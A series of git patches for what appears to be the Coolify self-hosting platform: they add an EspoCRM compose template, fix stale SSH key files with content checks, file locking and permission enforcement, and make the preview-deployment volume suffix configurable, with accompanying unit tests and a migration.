From 30e65abf1be972e52a20f8d95a9351aaa039b018 Mon Sep 17 00:00:00 2001 From: Taras Machyshyn Date: Fri, 27 Feb 2026 20:23:24 +0200 Subject: [PATCH 01/49] Added EspoCRM --- public/svgs/espocrm.svg | 82 ++++++++++++++++++++++++++++++++++ templates/compose/espocrm.yaml | 75 +++++++++++++++++++++++++++++++ 2 files changed, 157 insertions(+) create mode 100644 public/svgs/espocrm.svg create mode 100644 templates/compose/espocrm.yaml diff --git a/public/svgs/espocrm.svg b/public/svgs/espocrm.svg new file mode 100644 index 000000000..79d96f8c3 --- /dev/null +++ b/public/svgs/espocrm.svg @@ -0,0 +1,82 @@ + + + + + + + + + + + + + + + + + + + + + + diff --git a/templates/compose/espocrm.yaml b/templates/compose/espocrm.yaml new file mode 100644 index 000000000..d771e0f53 --- /dev/null +++ b/templates/compose/espocrm.yaml @@ -0,0 +1,75 @@ +# documentation: https://docs.espocrm.com +# slogan: EspoCRM is a free and open-source CRM platform. +# category: cms +# tags: crm, self-hosted, open-source, workflow, automation, project management +# logo: svgs/espocrm.svg +# port: 80 + +services: + espocrm: + image: espocrm/espocrm:latest + environment: + - SERVICE_URL_ESPOCRM + - ESPOCRM_ADMIN_USERNAME=${ESPOCRM_ADMIN_USERNAME:-admin} + - ESPOCRM_ADMIN_PASSWORD=${ESPOCRM_ADMIN_PASSWORD:-password} + - ESPOCRM_DATABASE_PLATFORM=Mysql + - ESPOCRM_DATABASE_HOST=espocrm-db + - ESPOCRM_DATABASE_NAME=${MARIADB_DATABASE:-espocrm} + - ESPOCRM_DATABASE_USER=${SERVICE_USER_MARIADB} + - ESPOCRM_DATABASE_PASSWORD=${SERVICE_PASSWORD_MARIADB} + - ESPOCRM_SITE_URL=${SERVICE_URL_ESPOCRM} + volumes: + - espocrm:/var/www/html + healthcheck: + test: ["CMD", "curl", "-f", "http://127.0.0.1:80"] + interval: 2s + start_period: 60s + timeout: 10s + retries: 15 + depends_on: + espocrm-db: + condition: service_healthy + + espocrm-daemon: + image: espocrm/espocrm:latest + container_name: espocrm-daemon + volumes: + - espocrm:/var/www/html + restart: always + entrypoint: docker-daemon.sh + depends_on: + espocrm: + condition: service_healthy + + espocrm-websocket: + image: espocrm/espocrm:latest + container_name: espocrm-websocket + environment: + - SERVICE_URL_ESPOCRM_WEBSOCKET_8080 + - ESPOCRM_CONFIG_USE_WEB_SOCKET=true + - ESPOCRM_CONFIG_WEB_SOCKET_URL=$SERVICE_URL_ESPOCRM_WEBSOCKET + - ESPOCRM_CONFIG_WEB_SOCKET_ZERO_M_Q_SUBSCRIBER_DSN=tcp://*:7777 + - ESPOCRM_CONFIG_WEB_SOCKET_ZERO_M_Q_SUBMISSION_DSN=tcp://espocrm-websocket:7777 + volumes: + - espocrm:/var/www/html + restart: always + entrypoint: docker-websocket.sh + depends_on: + espocrm: + condition: service_healthy + + espocrm-db: + image: mariadb:latest + environment: + - MARIADB_DATABASE=${MARIADB_DATABASE:-espocrm} + - MARIADB_USER=${SERVICE_USER_MARIADB} + - MARIADB_PASSWORD=${SERVICE_PASSWORD_MARIADB} + - MARIADB_ROOT_PASSWORD=${SERVICE_PASSWORD_ROOT} + volumes: + - espocrm-db:/var/lib/mysql + healthcheck: + test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"] + interval: 20s + start_period: 10s + timeout: 10s + retries: 3 From a2540bd23326b92f35caa797392c97a0a7c0dd51 Mon Sep 17 00:00:00 2001 From: Taras Machyshyn Date: Fri, 27 Feb 2026 20:42:20 +0200 Subject: [PATCH 02/49] Admin password --- templates/compose/espocrm.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/espocrm.yaml b/templates/compose/espocrm.yaml index d771e0f53..130562a78 100644 --- a/templates/compose/espocrm.yaml +++ b/templates/compose/espocrm.yaml @@ -11,7 +11,7 @@ services: environment: - SERVICE_URL_ESPOCRM - ESPOCRM_ADMIN_USERNAME=${ESPOCRM_ADMIN_USERNAME:-admin} - - ESPOCRM_ADMIN_PASSWORD=${ESPOCRM_ADMIN_PASSWORD:-password} + - ESPOCRM_ADMIN_PASSWORD=${SERVICE_PASSWORD_ADMIN} - ESPOCRM_DATABASE_PLATFORM=Mysql - ESPOCRM_DATABASE_HOST=espocrm-db - ESPOCRM_DATABASE_NAME=${MARIADB_DATABASE:-espocrm} From 4bf94fac2d2c006ed2d6c2760d6001543cda06de Mon Sep 17 00:00:00 2001 From: pannous Date: Sun, 15 Mar 2026 03:06:21 +0100 Subject: [PATCH 03/49] fix: prevent sporadic SSH permission denied by validating key content The root cause of sporadic "Permission denied (publickey)" errors was that validateSshKey() only checked if the key file existed on disk, never verifying its content matched the database. When keys were rotated or updated, the stale file persisted and SSH used the wrong key. Changes: - validateSshKey() now refreshes key from DB and compares file content - Server saved event detects private_key_id changes to invalidate mux - PrivateKey storeInFileSystem() uses file locking to prevent races - PrivateKey saved event auto-resyncs file on key content changes - Enforces 0600 permissions on key files Fixes coollabsio/coolify#7724 --- app/Helpers/SshMultiplexingHelper.php | 33 ++++++- app/Models/PrivateKey.php | 67 ++++++++++--- app/Models/Server.php | 2 +- tests/Unit/SshKeyValidationTest.php | 133 ++++++++++++++++++++++++++ 4 files changed, 215 insertions(+), 20 deletions(-) create mode 100644 tests/Unit/SshKeyValidationTest.php diff --git a/app/Helpers/SshMultiplexingHelper.php b/app/Helpers/SshMultiplexingHelper.php index 54d5714a6..b9a3e98f3 100644 --- a/app/Helpers/SshMultiplexingHelper.php +++ b/app/Helpers/SshMultiplexingHelper.php @@ -8,6 +8,7 @@ use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Process; +use Illuminate\Support\Facades\Storage; class SshMultiplexingHelper { @@ -208,13 +209,37 @@ private static function isMultiplexingEnabled(): bool private static function validateSshKey(PrivateKey $privateKey): void { - $keyLocation = $privateKey->getKeyLocation(); - $checkKeyCommand = "ls $keyLocation 2>/dev/null"; - $keyCheckProcess = Process::run($checkKeyCommand); + $privateKey->refresh(); - if ($keyCheckProcess->exitCode() !== 0) { + $keyLocation = $privateKey->getKeyLocation(); + $filename = "ssh_key@{$privateKey->uuid}"; + $disk = Storage::disk('ssh-keys'); + + $needsRewrite = false; + + if (! $disk->exists($filename)) { + $needsRewrite = true; + } else { + $diskContent = $disk->get($filename); + if ($diskContent !== $privateKey->private_key) { + Log::warning('SSH key file content does not match database, resyncing', [ + 'key_uuid' => $privateKey->uuid, + ]); + $needsRewrite = true; + } + } + + if ($needsRewrite) { $privateKey->storeInFileSystem(); } + + // Ensure correct permissions (SSH requires 0600) + if (file_exists($keyLocation)) { + $currentPerms = fileperms($keyLocation) & 0777; + if ($currentPerms !== 0600) { + chmod($keyLocation, 0600); + } + } } private static function getCommonSshOptions(Server $server, string $sshKeyLocation, int $connectionTimeout, int $serverInterval, bool $isScp = false): string diff --git a/app/Models/PrivateKey.php b/app/Models/PrivateKey.php index 7163ae7b5..b453e999d 100644 --- a/app/Models/PrivateKey.php +++ b/app/Models/PrivateKey.php @@ -65,6 +65,20 @@ protected static function booted() } }); + static::saved(function ($key) { + if ($key->wasChanged('private_key')) { + try { + $key->storeInFileSystem(); + refresh_server_connection($key); + } catch (\Exception $e) { + \Illuminate\Support\Facades\Log::error('Failed to resync SSH key after update', [ + 'key_uuid' => $key->uuid, + 'error' => $e->getMessage(), + ]); + } + } + }); + static::deleted(function ($key) { self::deleteFromStorage($key); }); @@ -185,29 +199,52 @@ public function storeInFileSystem() { $filename = "ssh_key@{$this->uuid}"; $disk = Storage::disk('ssh-keys'); + $keyLocation = $this->getKeyLocation(); + $lockFile = $keyLocation.'.lock'; // Ensure the storage directory exists and is writable $this->ensureStorageDirectoryExists(); - // Attempt to store the private key - $success = $disk->put($filename, $this->private_key); - - if (! $success) { - throw new \Exception("Failed to write SSH key to filesystem. Check disk space and permissions for: {$this->getKeyLocation()}"); + // Use file locking to prevent concurrent writes from corrupting the key + $lockHandle = fopen($lockFile, 'c'); + if ($lockHandle === false) { + throw new \Exception("Failed to open lock file for SSH key: {$lockFile}"); } - // Verify the file was actually created and has content - if (! $disk->exists($filename)) { - throw new \Exception("SSH key file was not created: {$this->getKeyLocation()}"); - } + try { + if (! flock($lockHandle, LOCK_EX)) { + throw new \Exception("Failed to acquire lock for SSH key: {$keyLocation}"); + } - $storedContent = $disk->get($filename); - if (empty($storedContent) || $storedContent !== $this->private_key) { - $disk->delete($filename); // Clean up the bad file - throw new \Exception("SSH key file content verification failed: {$this->getKeyLocation()}"); - } + // Attempt to store the private key + $success = $disk->put($filename, $this->private_key); - return $this->getKeyLocation(); + if (! $success) { + throw new \Exception("Failed to write SSH key to filesystem. Check disk space and permissions for: {$keyLocation}"); + } + + // Verify the file was actually created and has content + if (! $disk->exists($filename)) { + throw new \Exception("SSH key file was not created: {$keyLocation}"); + } + + $storedContent = $disk->get($filename); + if (empty($storedContent) || $storedContent !== $this->private_key) { + $disk->delete($filename); // Clean up the bad file + throw new \Exception("SSH key file content verification failed: {$keyLocation}"); + } + + // Ensure correct permissions for SSH (0600 required) + if (file_exists($keyLocation)) { + chmod($keyLocation, 0600); + } + + return $keyLocation; + } finally { + flock($lockHandle, LOCK_UN); + fclose($lockHandle); + @unlink($lockFile); + } } public static function deleteFromStorage(self $privateKey) diff --git a/app/Models/Server.php b/app/Models/Server.php index 508b9833b..527c744a5 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -135,7 +135,7 @@ protected static function booted() $server->forceFill($payload); }); static::saved(function ($server) { - if ($server->privateKey?->isDirty()) { + if ($server->wasChanged('private_key_id') || $server->privateKey?->isDirty()) { refresh_server_connection($server->privateKey); } }); diff --git a/tests/Unit/SshKeyValidationTest.php b/tests/Unit/SshKeyValidationTest.php new file mode 100644 index 000000000..9a6c6c04b --- /dev/null +++ b/tests/Unit/SshKeyValidationTest.php @@ -0,0 +1,133 @@ +assertTrue($reflection->isStatic(), 'validateSshKey should be a static method'); + } + + public function test_validate_ssh_key_accepts_private_key_parameter() + { + $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); + $parameters = $reflection->getParameters(); + + $this->assertCount(1, $parameters); + $this->assertEquals('privateKey', $parameters[0]->getName()); + + $type = $parameters[0]->getType(); + $this->assertNotNull($type); + $this->assertEquals(PrivateKey::class, $type->getName()); + } + + public function test_store_in_file_system_sets_correct_permissions() + { + // Verify that storeInFileSystem enforces chmod 0600 via code inspection + $reflection = new \ReflectionMethod(PrivateKey::class, 'storeInFileSystem'); + $this->assertTrue( + $reflection->isPublic(), + 'storeInFileSystem should be public' + ); + + // Verify the method source contains chmod for 0600 + $filename = $reflection->getFileName(); + $startLine = $reflection->getStartLine(); + $endLine = $reflection->getEndLine(); + $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); + + $this->assertStringContainsString('chmod', $source, 'storeInFileSystem should set file permissions'); + $this->assertStringContainsString('0600', $source, 'storeInFileSystem should enforce 0600 permissions'); + } + + public function test_store_in_file_system_uses_file_locking() + { + // Verify the method uses flock to prevent race conditions + $reflection = new \ReflectionMethod(PrivateKey::class, 'storeInFileSystem'); + $filename = $reflection->getFileName(); + $startLine = $reflection->getStartLine(); + $endLine = $reflection->getEndLine(); + $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); + + $this->assertStringContainsString('flock', $source, 'storeInFileSystem should use file locking'); + $this->assertStringContainsString('LOCK_EX', $source, 'storeInFileSystem should use exclusive locks'); + } + + public function test_validate_ssh_key_checks_content_not_just_existence() + { + // Verify validateSshKey compares file content with DB value + $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); + $filename = $reflection->getFileName(); + $startLine = $reflection->getStartLine(); + $endLine = $reflection->getEndLine(); + $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); + + // Should read file content and compare, not just check existence with `ls` + $this->assertStringNotContainsString('ls $keyLocation', $source, 'Should not use ls to check key existence'); + $this->assertStringContainsString('private_key', $source, 'Should compare against DB key content'); + $this->assertStringContainsString('refresh', $source, 'Should refresh key from database'); + } + + public function test_server_model_detects_private_key_id_changes() + { + // Verify the Server model's saved event checks for private_key_id changes + $reflection = new \ReflectionMethod(\App\Models\Server::class, 'booted'); + $filename = $reflection->getFileName(); + $startLine = $reflection->getStartLine(); + $endLine = $reflection->getEndLine(); + $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); + + $this->assertStringContainsString( + 'wasChanged', + $source, + 'Server saved event should detect private_key_id changes via wasChanged()' + ); + $this->assertStringContainsString( + 'private_key_id', + $source, + 'Server saved event should specifically check private_key_id' + ); + } + + public function test_private_key_saved_event_resyncs_on_key_change() + { + // Verify PrivateKey model resyncs file and mux on key content change + $reflection = new \ReflectionMethod(PrivateKey::class, 'booted'); + $filename = $reflection->getFileName(); + $startLine = $reflection->getStartLine(); + $endLine = $reflection->getEndLine(); + $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); + + $this->assertStringContainsString( + "wasChanged('private_key')", + $source, + 'PrivateKey saved event should detect key content changes' + ); + $this->assertStringContainsString( + 'refresh_server_connection', + $source, + 'PrivateKey saved event should invalidate mux connections' + ); + $this->assertStringContainsString( + 'storeInFileSystem', + $source, + 'PrivateKey saved event should resync key file' + ); + } +} From 2f96a759dfc92e02eb7a17c89929e33f13e14de7 Mon Sep 17 00:00:00 2001 From: pannous Date: Mon, 16 Mar 2026 10:40:22 +0100 Subject: [PATCH 04/49] test: add behavioral ssh key stale-file regression --- tests/Unit/SshKeyValidationTest.php | 56 +++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) diff --git a/tests/Unit/SshKeyValidationTest.php b/tests/Unit/SshKeyValidationTest.php index 9a6c6c04b..fbcf7725d 100644 --- a/tests/Unit/SshKeyValidationTest.php +++ b/tests/Unit/SshKeyValidationTest.php @@ -4,7 +4,9 @@ use App\Helpers\SshMultiplexingHelper; use App\Models\PrivateKey; +use Illuminate\Support\Facades\File; use Illuminate\Support\Facades\Storage; +use Illuminate\Support\Str; use Tests\TestCase; /** @@ -130,4 +132,58 @@ public function test_private_key_saved_event_resyncs_on_key_change() 'PrivateKey saved event should resync key file' ); } + + public function test_validate_ssh_key_rewrites_stale_file_and_fixes_permissions() + { + $diskRoot = sys_get_temp_dir().'/coolify-ssh-test-'.Str::uuid(); + File::ensureDirectoryExists($diskRoot); + config(['filesystems.disks.ssh-keys.root' => $diskRoot]); + app('filesystem')->forgetDisk('ssh-keys'); + + $privateKey = new class extends PrivateKey + { + public int $storeCallCount = 0; + + public function refresh() + { + return $this; + } + + public function getKeyLocation() + { + return Storage::disk('ssh-keys')->path("ssh_key@{$this->uuid}"); + } + + public function storeInFileSystem() + { + $this->storeCallCount++; + $filename = "ssh_key@{$this->uuid}"; + $disk = Storage::disk('ssh-keys'); + $disk->put($filename, $this->private_key); + $keyLocation = $disk->path($filename); + chmod($keyLocation, 0600); + + return $keyLocation; + } + }; + + $privateKey->uuid = (string) Str::uuid(); + $privateKey->private_key = 'NEW_PRIVATE_KEY_CONTENT'; + + $filename = "ssh_key@{$privateKey->uuid}"; + $disk = Storage::disk('ssh-keys'); + $disk->put($filename, 'OLD_PRIVATE_KEY_CONTENT'); + $staleKeyPath = $disk->path($filename); + chmod($staleKeyPath, 0644); + + $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); + $reflection->setAccessible(true); + $reflection->invoke(null, $privateKey); + + $this->assertSame('NEW_PRIVATE_KEY_CONTENT', $disk->get($filename)); + $this->assertSame(1, $privateKey->storeCallCount); + $this->assertSame(0600, fileperms($staleKeyPath) & 0777); + + File::deleteDirectory($diskRoot); + } } From 5b424f1f0e44a0783406d4652e7a410c8ae309bc Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 13:33:58 +0100 Subject: [PATCH 05/49] fix(preview): exclude bind mounts from preview deployment suffix Bind mount volumes reference files at the repository's original path and should not receive the -pr-N suffix. Only named Docker volumes require the suffix for isolation between preview deployments. Adds PreviewDeploymentBindMountTest to verify the correct behavior. Fixes #7802 --- bootstrap/helpers/parsers.php | 3 -- coolify-examples-1 | 1 + tests/Unit/PreviewDeploymentBindMountTest.php | 41 +++++++++++++++++++ 3 files changed, 42 insertions(+), 3 deletions(-) create mode 160000 coolify-examples-1 create mode 100644 tests/Unit/PreviewDeploymentBindMountTest.php diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index e84df55f9..95f5fa9c0 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -789,9 +789,6 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $mainDirectory = str(base_configuration_dir().'/applications/'.$uuid); } $source = replaceLocalSource($source, $mainDirectory); - if ($isPullRequest) { - $source = addPreviewDeploymentSuffix($source, $pull_request_id); - } LocalFileVolume::updateOrCreate( [ 'mount_path' => $target, diff --git a/coolify-examples-1 b/coolify-examples-1 new file mode 160000 index 000000000..a5964d89a --- /dev/null +++ b/coolify-examples-1 @@ -0,0 +1 @@ +Subproject commit a5964d89a9d361dea373ddabaec265916266c4fc diff --git a/tests/Unit/PreviewDeploymentBindMountTest.php b/tests/Unit/PreviewDeploymentBindMountTest.php new file mode 100644 index 000000000..acc560e68 --- /dev/null +++ b/tests/Unit/PreviewDeploymentBindMountTest.php @@ -0,0 +1,41 @@ +value() === 'bind')"); + $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); + $bindBlock = substr($parsersFile, $bindBlockStart, $volumeBlockStart - $bindBlockStart); + + // Bind mount paths should NOT be suffixed with -pr-N + expect($bindBlock)->not->toContain('addPreviewDeploymentSuffix'); +}); + +it('still applies preview deployment suffix to named volume paths', function () { + // Read the applicationParser volume handling in parsers.php + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // Find the named volume handling block (type === 'volume') + $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); + $volumeBlock = substr($parsersFile, $volumeBlockStart, 1000); + + // Named volumes SHOULD still get the -pr-N suffix for isolation + expect($volumeBlock)->toContain('addPreviewDeploymentSuffix'); +}); + +it('confirms addPreviewDeploymentSuffix works correctly', function () { + $result = addPreviewDeploymentSuffix('myvolume', 3); + expect($result)->toBe('myvolume-pr-3'); + + $result = addPreviewDeploymentSuffix('myvolume', 0); + expect($result)->toBe('myvolume'); +}); From 1b484a56b0698993335bdcd92cfe186e72246701 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 13:37:14 +0100 Subject: [PATCH 06/49] chore: remove coolify-examples-1 submodule --- coolify-examples-1 | 1 - 1 file changed, 1 deletion(-) delete mode 160000 coolify-examples-1 diff --git a/coolify-examples-1 b/coolify-examples-1 deleted file mode 160000 index a5964d89a..000000000 --- a/coolify-examples-1 +++ /dev/null @@ -1 +0,0 @@ -Subproject commit a5964d89a9d361dea373ddabaec265916266c4fc From add16853a8180896864769c8904e72a0777383b8 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 14:54:22 +0100 Subject: [PATCH 07/49] feat(preview): add configurable PR suffix toggle for volumes Add `is_preview_suffix_enabled` flag to `local_file_volumes` and `local_persistent_volumes` tables, allowing per-volume control over whether a `-pr-N` suffix is appended during preview deployments. Defaults to `true` to preserve existing behavior. Users can disable it for volumes containing shared config or repository scripts that should not be isolated per PR. --- app/Jobs/ApplicationDeploymentJob.php | 6 +- app/Livewire/Project/Service/FileStorage.php | 6 ++ app/Livewire/Project/Shared/Storages/Show.php | 14 ++++ app/Models/LocalFileVolume.php | 1 + app/Models/LocalPersistentVolume.php | 4 + bootstrap/helpers/parsers.php | 26 +++--- ...review_suffix_enabled_to_volume_tables.php | 30 +++++++ .../project/service/file-storage.blade.php | 7 ++ .../project/shared/storages/show.blade.php | 14 ++++ tests/Unit/PreviewDeploymentBindMountTest.php | 84 +++++++++++++++++-- 10 files changed, 172 insertions(+), 20 deletions(-) create mode 100644 database/migrations/2026_03_16_000000_add_is_preview_suffix_enabled_to_volume_tables.php diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index f84cdceb9..a0cc7aaa0 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -2745,7 +2745,8 @@ private function generate_local_persistent_volumes() } else { $volume_name = $persistentStorage->name; } - if ($this->pull_request_id !== 0) { + $isPreviewSuffixEnabled = (bool) data_get($persistentStorage, 'is_preview_suffix_enabled', true); + if ($this->pull_request_id !== 0 && $isPreviewSuffixEnabled) { $volume_name = addPreviewDeploymentSuffix($volume_name, $this->pull_request_id); } $local_persistent_volumes[] = $volume_name.':'.$persistentStorage->mount_path; @@ -2763,7 +2764,8 @@ private function generate_local_persistent_volumes_only_volume_names() } $name = $persistentStorage->name; - if ($this->pull_request_id !== 0) { + $isPreviewSuffixEnabled = (bool) data_get($persistentStorage, 'is_preview_suffix_enabled', true); + if ($this->pull_request_id !== 0 && $isPreviewSuffixEnabled) { $name = addPreviewDeploymentSuffix($name, $this->pull_request_id); } diff --git a/app/Livewire/Project/Service/FileStorage.php b/app/Livewire/Project/Service/FileStorage.php index 5d948bffd..33b32989a 100644 --- a/app/Livewire/Project/Service/FileStorage.php +++ b/app/Livewire/Project/Service/FileStorage.php @@ -40,12 +40,16 @@ class FileStorage extends Component #[Validate(['required', 'boolean'])] public bool $isBasedOnGit = false; + #[Validate(['required', 'boolean'])] + public bool $isPreviewSuffixEnabled = true; + protected $rules = [ 'fileStorage.is_directory' => 'required', 'fileStorage.fs_path' => 'required', 'fileStorage.mount_path' => 'required', 'content' => 'nullable', 'isBasedOnGit' => 'required|boolean', + 'isPreviewSuffixEnabled' => 'required|boolean', ]; public function mount() @@ -71,12 +75,14 @@ public function syncData(bool $toModel = false): void // Sync to model $this->fileStorage->content = $this->content; $this->fileStorage->is_based_on_git = $this->isBasedOnGit; + $this->fileStorage->is_preview_suffix_enabled = $this->isPreviewSuffixEnabled; $this->fileStorage->save(); } else { // Sync from model $this->content = $this->fileStorage->content; $this->isBasedOnGit = $this->fileStorage->is_based_on_git; + $this->isPreviewSuffixEnabled = $this->fileStorage->is_preview_suffix_enabled ?? true; } } diff --git a/app/Livewire/Project/Shared/Storages/Show.php b/app/Livewire/Project/Shared/Storages/Show.php index 69395a591..72b330845 100644 --- a/app/Livewire/Project/Shared/Storages/Show.php +++ b/app/Livewire/Project/Shared/Storages/Show.php @@ -29,10 +29,13 @@ class Show extends Component public ?string $hostPath = null; + public bool $isPreviewSuffixEnabled = true; + protected $rules = [ 'name' => 'required|string', 'mountPath' => 'required|string', 'hostPath' => 'string|nullable', + 'isPreviewSuffixEnabled' => 'required|boolean', ]; protected $validationAttributes = [ @@ -53,11 +56,13 @@ private function syncData(bool $toModel = false): void $this->storage->name = $this->name; $this->storage->mount_path = $this->mountPath; $this->storage->host_path = $this->hostPath; + $this->storage->is_preview_suffix_enabled = $this->isPreviewSuffixEnabled; } else { // Sync FROM model (on load/refresh) $this->name = $this->storage->name; $this->mountPath = $this->storage->mount_path; $this->hostPath = $this->storage->host_path; + $this->isPreviewSuffixEnabled = $this->storage->is_preview_suffix_enabled ?? true; } } @@ -67,6 +72,15 @@ public function mount() $this->isReadOnly = $this->storage->shouldBeReadOnlyInUI(); } + public function instantSave() + { + $this->authorize('update', $this->resource); + + $this->syncData(true); + $this->storage->save(); + $this->dispatch('success', 'Storage updated successfully'); + } + public function submit() { $this->authorize('update', $this->resource); diff --git a/app/Models/LocalFileVolume.php b/app/Models/LocalFileVolume.php index 9d7095cb5..da58ed2f9 100644 --- a/app/Models/LocalFileVolume.php +++ b/app/Models/LocalFileVolume.php @@ -14,6 +14,7 @@ class LocalFileVolume extends BaseModel // 'mount_path' => 'encrypted', 'content' => 'encrypted', 'is_directory' => 'boolean', + 'is_preview_suffix_enabled' => 'boolean', ]; use HasFactory; diff --git a/app/Models/LocalPersistentVolume.php b/app/Models/LocalPersistentVolume.php index 7126253ea..1721f4afe 100644 --- a/app/Models/LocalPersistentVolume.php +++ b/app/Models/LocalPersistentVolume.php @@ -10,6 +10,10 @@ class LocalPersistentVolume extends Model { protected $guarded = []; + protected $casts = [ + 'is_preview_suffix_enabled' => 'boolean', + ]; + public function resource() { return $this->morphTo('resource'); diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 95f5fa9c0..cd4928d63 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -789,6 +789,12 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $mainDirectory = str(base_configuration_dir().'/applications/'.$uuid); } $source = replaceLocalSource($source, $mainDirectory); + $isPreviewSuffixEnabled = $foundConfig + ? (bool) data_get($foundConfig, 'is_preview_suffix_enabled', true) + : true; + if ($isPullRequest && $isPreviewSuffixEnabled) { + $source = addPreviewDeploymentSuffix($source, $pull_request_id); + } LocalFileVolume::updateOrCreate( [ 'mount_path' => $target, @@ -1312,19 +1318,19 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int } if (! $isDatabase && $fqdns instanceof Collection && $fqdns->count() > 0) { $shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels; - $uuid = $resource->uuid; - $network = data_get($resource, 'destination.network'); + $labelUuid = $resource->uuid; + $labelNetwork = data_get($resource, 'destination.network'); if ($isPullRequest) { - $uuid = "{$resource->uuid}-{$pullRequestId}"; + $labelUuid = "{$resource->uuid}-{$pullRequestId}"; } if ($isPullRequest) { - $network = "{$resource->destination->network}-{$pullRequestId}"; + $labelNetwork = "{$resource->destination->network}-{$pullRequestId}"; } if ($shouldGenerateLabelsExactly) { switch ($server->proxyType()) { case ProxyTypes::TRAEFIK->value: $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( - uuid: $uuid, + uuid: $labelUuid, domains: $fqdns, is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, @@ -1336,8 +1342,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int break; case ProxyTypes::CADDY->value: $serviceLabels = $serviceLabels->merge(fqdnLabelsForCaddy( - network: $network, - uuid: $uuid, + network: $labelNetwork, + uuid: $labelUuid, domains: $fqdns, is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, @@ -1351,7 +1357,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int } } else { $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( - uuid: $uuid, + uuid: $labelUuid, domains: $fqdns, is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, @@ -1361,8 +1367,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int image: $image )); $serviceLabels = $serviceLabels->merge(fqdnLabelsForCaddy( - network: $network, - uuid: $uuid, + network: $labelNetwork, + uuid: $labelUuid, domains: $fqdns, is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, diff --git a/database/migrations/2026_03_16_000000_add_is_preview_suffix_enabled_to_volume_tables.php b/database/migrations/2026_03_16_000000_add_is_preview_suffix_enabled_to_volume_tables.php new file mode 100644 index 000000000..a1f1d9ea1 --- /dev/null +++ b/database/migrations/2026_03_16_000000_add_is_preview_suffix_enabled_to_volume_tables.php @@ -0,0 +1,30 @@ +boolean('is_preview_suffix_enabled')->default(true)->after('is_based_on_git'); + }); + + Schema::table('local_persistent_volumes', function (Blueprint $table) { + $table->boolean('is_preview_suffix_enabled')->default(true)->after('host_path'); + }); + } + + public function down(): void + { + Schema::table('local_file_volumes', function (Blueprint $table) { + $table->dropColumn('is_preview_suffix_enabled'); + }); + + Schema::table('local_persistent_volumes', function (Blueprint $table) { + $table->dropColumn('is_preview_suffix_enabled'); + }); + } +}; diff --git a/resources/views/livewire/project/service/file-storage.blade.php b/resources/views/livewire/project/service/file-storage.blade.php index 1dd58fe17..24612098b 100644 --- a/resources/views/livewire/project/service/file-storage.blade.php +++ b/resources/views/livewire/project/service/file-storage.blade.php @@ -15,6 +15,13 @@ + @can('update', $resource) +
+ +
+ @endcan
@if (!$isReadOnly) @can('update', $resource) diff --git a/resources/views/livewire/project/shared/storages/show.blade.php b/resources/views/livewire/project/shared/storages/show.blade.php index 694f7d4f2..a3a486b92 100644 --- a/resources/views/livewire/project/shared/storages/show.blade.php +++ b/resources/views/livewire/project/shared/storages/show.blade.php @@ -38,6 +38,13 @@ @endif + @can('update', $resource) +
+ +
+ @endcan @else @can('update', $resource) @if ($isFirst) @@ -54,6 +61,13 @@ @endif + @if (data_get($resource, 'settings.is_preview_deployments_enabled')) +
+ +
+ @endif
